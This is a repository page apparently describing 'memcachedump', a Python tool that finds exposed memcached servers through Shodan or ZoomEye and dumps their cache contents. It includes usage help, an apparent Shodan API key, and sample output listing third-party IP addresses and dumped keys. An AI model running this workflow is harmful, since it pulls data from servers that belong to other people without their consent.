• Stars
    star
    144
  • Rank 254,219 (Top 6 %)
  • Language
    Python
  • License
    GNU Affero Genera...
  • Created over 6 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Use your Shodan API Key to dump all the contents of exposed memcached servers.

memcachedump Infographic

memcachedump is a tool for dumping the cache contents of exposed memcached servers into local text files.

You'll need Python 3 along with Shodan API Key or ZoomEye Credentials.

Running the tool:

> python mcd.py --help
usage: mcd.py [-h] [--key KEY] [--email EMAIL] [--password PASSWORD] [--out OUT] [--json]

Scrape data from memcached servers.

optional arguments:
  -h, --help           show this help message and exit
  --key KEY            Shodan API key.
  --email EMAIL        ZoomEye Email.
  --password PASSWORD  ZoomEye Password.
  --out OUT            Output directory for caches.
  --json               Output as JSON. (Default: CSV)

You must supply your Shodan API --key or ZoomEye Credentials --email [email protected] --password xyz.

Optionally, you can specify an --out directory for the text files. By default, mcd writes to ./out.

You can also specify --json output. By default, writes a CSV file.

Example usage

> git clone [email protected]:JLospinoso/memcachedump.git
> cd memcachedump
> pip3 install shodan

Using Shodan API Key

> python3 mcd.py --key kpVD7oF01vn1I9q6AfqGeqA2wkqJu9up
Results found: 108877
[ ] Found memcached server at IP: 115.159.38.63
[ ] Found memcached server at IP: 37.220.12.242
[ ] Found memcached server at IP: 115.182.69.234
[ ] Found memcached server at IP: 37.187.205.112
[ ] Found memcached server at IP: 65.175.106.142
[ ] Found memcached server at IP: 217.112.131.172
[ ] Found memcached server at IP: 43.246.216.225
[ ] Found memcached server at IP: 123.30.189.230
...
[ ] Connecting to 115.159.38.63.
[ ] Found 5 key lengths at 115.159.38.63.
[ ] Found 5 keys at 115.159.38.63.
[-] Error connecting to 115.159.38.63: 'utf-8' codec can't decode byte 0xff in position 36: invalid start byte
[ ] Connecting to 37.220.12.242.
[ ] Found 1 key lengths at 37.220.12.242.
[ ] Found 1 keys at 37.220.12.242.
[ ] Dumped 1 key values from 37.220.12.242.
[+] Wrote CSV to out\37.220.12.242.csv
[ ] Connecting to 115.182.69.234.
[ ] Found 1 key lengths at 115.182.69.234.
[ ] Found 1 keys at 115.182.69.234.
[ ] Dumped 1 key values from 115.182.69.234.
[+] Wrote CSV to out\115.182.69.234.csv
[ ] Connecting to 37.187.205.112.
[ ] Found 1 key lengths at 37.187.205.112.
[ ] Found 2 keys at 37.187.205.112.
...

Using ZoomEye Credentials

> python3 mcd.py --email [email protected] --password xyz123abc
[ ] Found memcached server at IP: 115.159.38.63
[ ] Found memcached server at IP: 37.220.12.242
[ ] Found memcached server at IP: 115.182.69.234
[ ] Found memcached server at IP: 37.187.205.112
[ ] Found memcached server at IP: 65.175.106.142
[ ] Found memcached server at IP: 217.112.131.172
[ ] Found memcached server at IP: 43.246.216.225
[ ] Found memcached server at IP: 123.30.189.230
...
[ ] Connecting to 115.159.38.63.
[ ] Found 5 key lengths at 115.159.38.63.
[ ] Found 5 keys at 115.159.38.63.
[-] Error connecting to 115.159.38.63: 'utf-8' codec can't decode byte 0xff in position 36: invalid start byte
[ ] Connecting to 37.220.12.242.
[ ] Found 1 key lengths at 37.220.12.242.
[ ] Found 1 keys at 37.220.12.242.
[ ] Dumped 1 key values from 37.220.12.242.
[+] Wrote CSV to out\37.220.12.242.csv
[ ] Connecting to 115.182.69.234.
[ ] Found 1 key lengths at 115.182.69.234.
[ ] Found 1 keys at 115.182.69.234.
[ ] Dumped 1 key values from 115.182.69.234.
[+] Wrote CSV to out\115.182.69.234.csv
[ ] Connecting to 37.187.205.112.
[ ] Found 1 key lengths at 37.187.205.112.
[ ] Found 2 keys at 37.187.205.112.
...

All results output to the out directory.

More Repositories

1

gargoyle

A memory scanning evasion technique
C++
691
star
2

ccc

Companion Code for C++ Crash Course
C++
304
star
3

beamgun

A rogue-USB-device defeat program for Windows.
C#
186
star
4

cpp-implant

A simple implant showcasing modern C++
C++
86
star
5

unfurl

An Entropy-Based Link Vulnerability Tool
Python
54
star
6

abrade

A fast Web API scraper written in C++ and built on Boost ASIO
C++
44
star
7

matterbot

A native Mattermost/Slack bot framework
C++
40
star
8

doh

A Privacy-Conscious, DNS-over-HTTP-Enabled, Blacklist-Incorporating SOCKS5 Proxy
C
26
star
9

rivestment

A game of MD5 Collisions
JavaScript
7
star
10

x86CallingConventions

Common x86 Calling Conventions - Code for blog
C++
6
star
11

cmf-cce-talk

C++
6
star
12

ReverseEngineering

https://jlospinoso.github.io/developing/software/software%20engineering/reverse%20engineering/assembly/2015/03/06/reversing-with-ida.html
C
6
star
13

lut

.NET utilities for common statistical manipulations of generics and more
C#
3
star
14

docker-libpoco

Dockerfile for building a base image containing Poco Project libraries. http://pocoproject.org
3
star
15

jlospinoso.github.io

Personal blog of Josh Lospinoso
JavaScript
3
star
16

covid-airlines

Datasets for blog post about mashing CDC and air travel data to show correlations between infections at the state level.
Python
3
star
17

twitter-subliminal

Encode subliminal messages using only Twitter's Streaming API and retweets.
C++
2
star
18

facewash

A user script for deleting/unliking/hiding posts from Facebook.
JavaScript
2
star
19

LambdasCpp11

Code to get you started using Lambdas in C++11
C++
2
star
20

underhandedc-2015

My submission to the Underhanded C Contest of 2015
C
2
star
21

dailyc

A simple, batch multimedia messaging and email service
Java
2
star
22

bsides2018

Slides for BSidesNOVA 2018 presentation
2
star
23

uvi-sunburn

Supplementary data and scripts for "The Impact of Ultraviolet Radiation on Sunburn-related Search Activity," pending publication in Dermatology Online Journal
Python
2
star
24

snuckme

https://jlospinoso.github.io/node/javascript/security/cryptography/privacy/2017/02/20/snuckme-cert-query.html
HTML
2
star
25

cppbuild

Boost, Cmake, and Openssl in a container
Dockerfile
1
star
26

cppbuildx86

Dockerfile
1
star
27

arduino

My explorational arduino projects
C++
1
star